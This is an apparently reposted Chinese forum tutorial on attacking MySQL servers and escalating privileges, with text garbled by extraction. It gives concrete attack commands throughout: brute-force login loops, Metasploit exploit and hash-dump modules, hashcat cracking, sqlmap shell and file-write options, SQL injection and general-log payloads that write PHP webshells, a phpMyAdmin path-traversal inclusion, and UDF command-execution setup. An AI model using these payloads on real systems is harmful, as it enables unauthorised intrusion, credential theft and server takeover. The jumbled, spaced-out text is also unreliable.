搜索

[18273] 2021-01-30_干货MySQL相关利用及提权

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2021-01-30_干货MySQL相关利用及提权 干 货 | M y S Q L 相 关 利 用 及 提 权 C y z C c   H A C K 之 道   2 0 2 1 - 0 1 - 3 0 实 验 环 境 ： 攻 击 机 ： k a l i   1 9 2 . 1 6 8 . 4 3 . 1 2 9 靶 机 ： w i n d o w s 7   P H P + M Y S Q L   1 9 2 . 1 6 8 . 4 3 . 1 3 0 权 限 获 取 权 限 获 取 数 据 库 操 作 权 限 数 据 库 操 作 权 限 在 进 行 数 据 库 提 权 之 前 需 要 获 得 数 据 库 的 操 作 权 限 ， 从 而 再 进 一 步 g e t s h e l l ， 然 后 提 权 。 获 得 数 据 库 操 作 权 限 的 方 法 大 致 有 一 下 几 种 ： 1 .   m y s q l   3 3 0 6   端 口 对 外 开 放 ， 可 通 过 弱 口 令 进 行 爆       2 .   p h p m y a d m i n 弱 口 令 登 陆 3 .   若 网 站 存 在 s q l 注 入 ， 则 可 以 通 过 s q l m a p 的 - - s q l - s h e l l 参 数 来 获 得 数 据 库 操 作 权 限 s q l m a p   - u   “ h t t p : / / 1 9 2 . 1 6 8 . 4 3 . 1 3 0 / s q l i - l a b s / L e s s - 1 / ? i d = 1 "   – s q l - s h e l l r o o t : r o o t r o o t : ( s p a c e ) m y s q l : m y s q l . . . . . . c 获 取 p h p m y a d m i n 版 本 信 息 在 网 址 根 路 径   后 面 添 加 r e a d m e . p h p R E A D M E c h a n g e l o g . p h p C h a n g e D o c u m e t a t i o n . h t m l D o c u m e t a t i o n . t x t t r a n s l a t o r s . h t m l
4 .   通 过 读 取 网 站 配 置 文 件 拿 到 数 据 库 账 号 密 码 关 键 字 ： c o n f i g   c o n n   d a t a   s q l   i n c   d a t a b a s e 等 5 .   C V E - 2 0 1 2 - 2 1 2 2 （ h t t p s : / / w w w . c n b l o g s . c o m / z h u x r / p / 9 5 5 3 5 4 1 . h t m l ）   等 这 类 漏 洞 直 接 拿 下   M y S Q L   权 限 M y S Q L   历 史 上 的 漏 洞 历 史 上 的 漏 洞 y a S S L   缓 冲 区 溢 出 M y S Q L   y a S S L   S S L   H e l l o   M e s s a g e   B u f f e r   O v e r f l o w   这 个 缓 冲 区 溢 出 漏 洞   2 0 0 8   年 开 始 被 曝 出 来 ， 距 离 现 在 已 经 十 几 年 的 历 史 了 ， 所 以 国 光 这 里 没 有 找 到 对 应 的 环 境 测 试 ， 不 过   M S F   里 面 已 经 集 成 好 了 对 应 的 模 块 了 ： 有 条 件 的 朋 友 可 以 搭 建 这 个 漏 洞 对 应 的 靶 场 环 境 L i n u x   :   M y S Q L   5 . 0 . 4 5 - D e b i a n _ 1 u b u n t u 3 . 1 - l o g W i n d o w s   :   M y S Q L   5 . 0 . 4 5 - c o m m u n i t y - n t C V E - 2 0 1 2 - 2 1 2 2 知 道 用 户 名 多 次 输 入 错 误 的 密 码 会 有 几 率 可 以 直 接 成 功 登 陆 进 数 据 库 ， 可 以 循 环   1 0 0 0   次 登 陆 数 据 库 ： M S F   里 面 也 有 对 应 的 脚 本 模 块 可 以 直 接 使 用 ， 成 功 后 会 直 接   D U M P   出   M y S Q L   的   H a s h   值 ： H a s h   获 取 与 解 密 获 取 与 解 密 假 设 存 在   S Q L   注 入   D B A   权 限 ， 如 果 目 标   3 3 0 6   端 口 也 是 可 以 访 问 通 的 话 ， 可 以 尝 试 读 取   M y S Q L   的   H a s h   来 解 密 ： M y S Q L   < =   5 . 6   版 本 s e l e c t   h o s t ,   u s e r ,   p a s s w o r d   f r o m   m y s q l . u s e r ; m s f 6   >   u s e   e x p l o i t / w i n d o w s / m y s q l / m y s q l _ y a s s l _ h e l l o m s f 6   >   u s e   e x p l o i t / l i n u x / m y s q l / m y s q l _ y a s s l _ h e l l o f o r   i   i n   ` s e q   1   1 0 0 0 ` ;   d o   m y s q l   - u r o o t   - p w r o n g   - h   1 2 7 . 0 . 0 . 1   - P 3 3 0 6   ;   d o n e m s f 6   >   u s e   a u x i l i a r y / s c a n n e r / m y s q l / m y s q l _ a u t h b y p a s s _ h a s h d u m p m s f 6   >   s e t   r h o s t s   1 2 7 . 0 . 0 . 1 m s f 6   >   r u n
M y S Q L   > =   5 . 7   版 本 得 到 h a s h 后 可 以 使 用 h a s h c a t 来 进 行 破 解 H a s h c a t 的 使 用 手 册 总 结 （ h t t p s : / / x z . a l i y u n . c o m / t / 4 0 0 8 # t o c - 0 ） 得 到 m y s q l 数 据 库 账 号 密 码 后 可 以 登 录 p h p m y a d m i n 或 者 直 接 连 接 m y s q l 进 行 进 一 步 的 利 用 G E T S H E L L 1 、 、 i n t o   o u f i l e   写 写   s h e l l 直 接 通 过 写 入 文 件 来 g e t s h e l l ， 需 要 满 足 以 下 条 件 知 道 网 站 绝 对 路 径 没 有 运 行 在     模 式 下 对     目 录 有 读 写 权 限 高 权 限 数 据 库 用 户 获 取 绝 对 路 径 的 方 法 获 取 绝 对 路 径 的 方 法 还 可 以 查 询 参 数 得 到 m y s q l 路 径 从 而 猜 测 得 到 网 站 路 径 s e l e c t   h o s t , u s e r , a u t h e n t i c a t i o n _ s t r i n g   f r o m   m y s q l . u s e r ; h a s h c a t   - a   0   - m   3 0 0   - - f o r c e   ' 8 2 3 2 A 1 2 9 8 A 4 9 F 7 1 0 D B E E 0 B 3 3 0 C 4 2 E E C 8 2 5 D 4 1 9 0 A '   / u s r / s h a r e / w o r d l i s t s / r o c k y o u . t x t   - O s e c u r e - f i l e - p r i v W e b 1 . p h p i n f o ( ) 2 . 出 错 页 面 3 . l o a d _ f i l e 读 取 网 站 配 置 文 件   如 i n d e x . p h p   / e t c / p a s s w d 4 . 查 看 数 据 库 表 内 容 获 取   有 一 些 c m s 会 保 存 网 站 配 置 文 件   或 者 路 径 5 . 进 入 后 台 6 . 百 度 出 错 信 息   z o o m e y e   s h a d o n   搜 索 e r r o r   w a r n i n g 7 .   @ @ d a t a d i r 参 数 看 m y s q l 路 径   反 猜 绝 对 路 径 s e l e c t   @ @ d a t a d i r
这 里 一 般 猜 测 网 站 路 径 为 C : p h p S t u d y P H P T u t o r i a l w w w C : p h p S t u d y P H P T u t o r i a l W W W C : p h p S t u d y P H P T u t o r i a l h t m l C : p h p S t u d y P H P T u t o r i a l w w w r o o t … … … . 查 看 查 看 m y s q l 安 全 设 置 安 全 设 置 参 数 说 明 ： 参 数 说 明 ： 空 值 ： 设 置 为 空 时 ， 没 有 进 行 安 全 配 置 ， 那 么 这 模 式 下 应 该 就 可 以 导 出   w e b s h e l l N U L L ： 设 置 本 参 数 值 时 ， 数 据 库 不 能 进 行 导 入 导 出 f i l e p a t h ： f i l e p a t h   是 导 入 导 出 的 文 件 路 径 ， 设 置 这 个 值 ， 那 么 只 能 导 出 文 件 到   f i l e p a t h   的 路 径 。 这 里 需 要 满 足     为 空 或 者 为     路 径 才 可 以 进 行 读 写 操 作 ， 如 果 不 为 空 可 在     配 置 文 件 中 加 上     即 可 s h o w   g l o b a l   v a r i a b l e s   l i k e   ' % s e c u r e _ f i l e _ p r i v % ' ; s e c u r e _ f i l e _ p r i v   可 以 设 置 三 个 参 数 ： 空 ， N U L L ， f i l e p a t h s e c u r e _ f i l e _ p r i v w e b m y s q l . i n i s e c u r e _ f i l e _ p r i v   =
满 足 以 上 条 件 便 可 使 用 s q l 语 句 来 写 s h e l l 直 接 在 漏 洞 点 使 用 联 合 查 询 写 入 ： 使 用 s q l m a p 写 s h e l l c y z . p h p 为 本 地 文 件 使 用 s q l m a p 的 - - o s - s h e l l 写 入 s h e l l 2 、 、 p h p m y a d m i n 使 用 日 志 写 入 使 用 日 志 写 入 s h e l l 使 用 账 号 密 码 登 录 后 ， 除 了 使 用 上 面 的 S Q L 语 句 来 写 入 s h e l l 外 ， 还 可 以 使 用 其 他 方 法 来 g e t s h e l l 如 p h p m y a d m i n 中 的 文 件 包 含 漏 洞 、 命 令 执 行 漏 洞 等 来 g e t s h e l l 使 用   l o g   写 入   S h e l l 满 足 条 件 ： 数 据 库 为   r o o t   权 限 W e b   目 录 可 写 知 道   W e b   的 物 理 绝 对 路 径 首 先 开 启   m y s q l   的 日 志 记 录 模 式 首 先 查 看 一 下 日 志 的 配 置 ： 打 开 日 志 记 录 ? i d = 1 '   u n i o n   s e l e c t   1 , ' < ? p h p   p h p i n f o ( ) ; ? > ' , 3   i n t o   o u t f i l e   ' C : / p h p S t u d y / P H P T u t o r i a l / W W W / c y z . p h p ' - - + s q l m a p   - u   " h t t p : / / 1 9 2 . 1 6 8 . 4 3 . 1 3 0 / s q l i - l a b s / L e s s - 1 / ? i d = 1 "   - - f i l e - w r i t e = " c y z . p h p "   - - f i l e - d e s t = " C : / p h p S t u d y / P H P T u t o r i a l / W W W / s q l m a p _ c y z . p h p " s h o w   v a r i a b l e s   l i k e   ' % g e n e r a l % ' ;
然 后 改 变 日 志 的 路 径 之 后 随 便 执 行 一 段 p h p 代 码 然 后 访 问 m y s q l _ s h e l l . p h p 即 可 g e t s h e l l 3 、 、 P H P M y A d m i n   包 含 数 据 库 文 件 包 含 数 据 库 文 件   g e t s h e l l 首 先 查 询 数 据 库 文 件 的 存 储 地 址 : 其 中 的 . f r m   即 为 我 们 的 数 据 库 文 件 s e t   g l o b a l   g e n e r a l _ l o g = ' o n ' ; s e t   g l o b a l   g e n e r a l _ l o g _ f i l e = ' C : p h p S t u d y P H P T u t o r i a l W W W m y s q l _ s h e l l . p h p ' ; S E L E C T   " < ? p h p   p h p i n f o ( ) ; ? > " ; s h o w   g l o b a l   v a r i a b l e s   l i k e   " % d a t a d i r % " ;
在   m y s q l _ s h e l l   库 中 新 建 个   m y s q l _ s h e l l   表 ， 然 后 字 段 写 上 我 们 的 一 句 话 马 可 以 看 到 一 句 话 木 马 已 经 写 入 . f r m 文 件 之 后 使 用 P H P M y A d m i n 4 . 8 . x   版 本 的 文 件 包 含 漏 洞 即 可 进 行 利 用 由 于 没 有 该 版 本 ， 就 没 有 接 着 复 现 了 / i n d e x . p h p ? t a r g e t = d b _ s q l . p h p % 3 f / . . / . . / . . / . . / . . / . . / . . / . . / . . / . . / . . / . . / . . / . . / C : / p h p S t u d y / P H P T u t o r i a l / M y S Q L / d a t a / t e s t / m y s q l _ s h e l l . f r m
4 、 其 他 、 其 他 p h p m y a d m i n 版 本 的 漏 洞 版 本 的 漏 洞 p h p m y a d m i n 命 令 执 行 漏 洞 : C V E - 2 0 1 6 - 5 7 3 4 （ h t t p : / / c y z c c . v i p / 2 0 2 0 / 0 8 / 1 2 / C V E - 2 0 1 6 - 5 7 3 4 / # m o r e ） P H P M y a A d m i n   本 地   S E S S I O N   包 含   g e t s h e l l : C V E - 2 0 1 8 - 1 2 6 1 3 （ h t t p : / / c y z c c . v i p / 2 0 2 0 / 0 8 / 1 3 / C V E - 2 0 1 8 - 1 2 6 1 3 / # m o r e ） U D F 提 权 提 权 U D F   简 介 ： h t t p s : / / w w w . c n b l o g s . c o m / g h c 6 6 6 / p / 8 6 0 9 0 6 7 . h t m l U D F ( u s e r - d e f i n e d   f u n c t i o n ) 是 M y S Q L 的 一 个 拓 展 接 口 ， 也 可 称 之 为 用 户 自 定 义 函 数 ， 它 是 用 来 拓 展 M y S Q L 的 技 术 手 段 ， 可 以 说 是 数 据 库 功 能 的 一 种 扩 展 ， 用 户 通 过 自 定 义 函 数 来 实 现 在 M y S Q L 中 无 法 方 便 实 现 的 功 能 ， 其 添 加 的 新 函 数 都 可 以 在 S Q L 语 句 中 调 用 ， 就 像 本 机 函 数 如 A B S ( ) 或 S O U N D E X ( ) 一 样 方 便 。 手 动 提 权 手 动 提 权 1 、 动 态 链 接 库 、 动 态 链 接 库 动 态 链 接 库 文 件 ： 是 一 种 不 可 执 行 的 二 进 制 程 序 文 件 ， 它 允 许 程 序 共 享 执 行 特 殊 任 务 所 必 需 的 代 码 和 其 他 资 源 。 W i n d o w s 提 供 的 D L L 文 件 中 包 含 了 允 许 基 于 W i n d o w s 的 程 序 在 W i n d o w s 环 境 下 操 作 的 许 多 函 数 和 资 源 。 一 般 被 存 放 在 C : 视 窗 系 统 S y s t e m 目 录 下 。 W i n d o w s 中 ， D L L 多 数 情 况 下 是 带 有 D L L 扩 展 名 的 文 件 ， 但 也 可 能 是 E X E 或 其 他 扩 展 名 ； D e b i a n 系 统 中 常 常 是 . s o 的 文 件 。 它 们 向 运 行 于 W i n d o w s 操 作 系 统 下 的 程 序 提 供 代 码 、 数 据 或 函 数 。 程 序 可 根 据 D L L 文 件 中 的 指 令 打 开 、 启 用 、 查 询 、 禁 用 和 关 闭 驱 动 程 序 。 动 态 链 接 库 位 置 s q l m a p   的   U D F   动 态 链 接 库 文 件 位 置 在   s q l m a p   中   自 带 这 些 动 态 链 接 库 为 了 防 止 被 误 杀 都 经 过 编 码 处 理 过 ， 不 能 被 直 接 使 用 。 不 过 可 以 利 用   s q l m a p   自 带 的 解 码 工 具 c l o a k . p y   来 解 码 使 用 ， c l o a k . p y   的 位 置 为 ： s q l m a p 根 目 录 / e x t r a / c l o a k / c l o a k . p y   ， 解 码 方 法 如 下 ： s q l m a p 根 目 录 / d a t a / u d f / m y s q l #   查 看 当 前 目 录 情 况 ➜   p w d / u s r / s h a r e / s q l m a p / e x t r a / c l o a k #   解 码   3 2   位 的   L i n u x   动 态 链 接 库 ➜   p y t h o n 3   c l o a k . p y   - d   - i   . . / . . / d a t a / u d f / m y s q l / l i n u x / 3 2 / l i b _ m y s q l u d f _ s y s . s o _   - o   l i b _ m y s q l u d f _ s y s _ 3 2 . s o #   解 码   6 4   位 的   L i n u x   动 态 链 接 库 ➜   p y t h o n 3   c l o a k . p y   - d   - i   . . / . . / d a t a / u d f / m y s q l / l i n u x / 6 4 / l i b _ m y s q l u d f _ s y s . s o _   - o   l i b _ m y s q l u d f _ s y s _ 6 4 . s o #   解 码   3 2   位 的   W i n d o w s   动 态 链 接 库 ➜   p y t h o n 3   c l o a k . p y   - d   - i   . . / . . / d a t a / u d f / m y s q l / w i n d o w s / 3 2 / l i b _ m y s q l u d f _ s y s . d l l _   - o   l i b _ m y s q l u d f _ s y s _ 3 2 . d l l
M e t a s p l o i t   的   U D F   动 态 链 接 库 文 件 位 置 M e t a s p l o i t   自 带 的 动 态 链 接 库 文 件 无 需 解 码 ， 可 以 直 接 使 用 x x d   l i b _ m y s q l u d f _ s y s _ 6 4 . s o #   解 码   6 4   位 的   W i n d o w s   动 态 链 接 库 ➜   p y t h o n 3   c l o a k . p y   - d   - i   . . / . . / d a t a / u d f / m y s q l / w i n d o w s / 6 4 / l i b _ m y s q l u d f _ s y s . d l l _   - o   l i b _ m y s q l u d f _ s y s _ 6 4 . d l l #   查 看 当 前 目 录 下 的 情 况 ➜   l s R E A D M E . t x t                             c l o a k . p y                                 l i b _ m y s q l u d f _ s y s _ 3 2 . s o     l i b _ m y s q l u d f _ s y s _ 6 4 . s o _ _ i n i t _ _ . p y                           l i b _ m y s q l u d f _ s y s _ 3 2 . d l l   l i b _ m y s q l u d f _ s y s _ 6 4 . d l l M S F   根 目 录 / e m b e d d e d / f r a m e w o r k / d a t a / e x p l o i t s / m y s q l 或 者 M S F   根 目 录 / d a t a / e x p l o i t s / m y s q l
一 般 使 用 动 态 链 接 库 里 的 以 下 几 个 函 数 ： s y s _ e v a l   -   e x e c u t e s   a n   a r b i t r a r y   c o m m a n d ,   a n d   r e t u r n s   i t ’ s   o u t p u t . s y s _ e x e c   -   e x e c u t e s   a n   a r b i t r a r y   c o m m a n d ,   a n d   r e t u r n s   i t ’ s   e x i t   c o d e . s y s _ g e t   -   g e t s   t h e   v a l u e   o f   a n   e n v i r o n m e n t   v a r i a b l e . s y s _ s e t   -   c r e a t e   a n   e n v i r o n m e n t   v a r i a b l e ,   o r   u p d a t e   t h e   v a l u e   o f   a n   e x i s t i n g   e n v i r o n m e n t   v a r i a b l e . 2 、 寻 找 插 件 目 录 、 寻 找 插 件 目 录 接 下 来 的 任 务 是 把   U D F   的 动 态 链 接 库 文 件 放 到   M y S Q L   的 插 件 目 录 下 ， 这 个 目 录 改 如 何 去 寻 找 呢 ？ 可 以 使 用 如 下 的   S Q L   语 句 来 查 询 ： s h o w   v a r i a b l e s   l i k e   ' % p l u g i n % ' ;
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理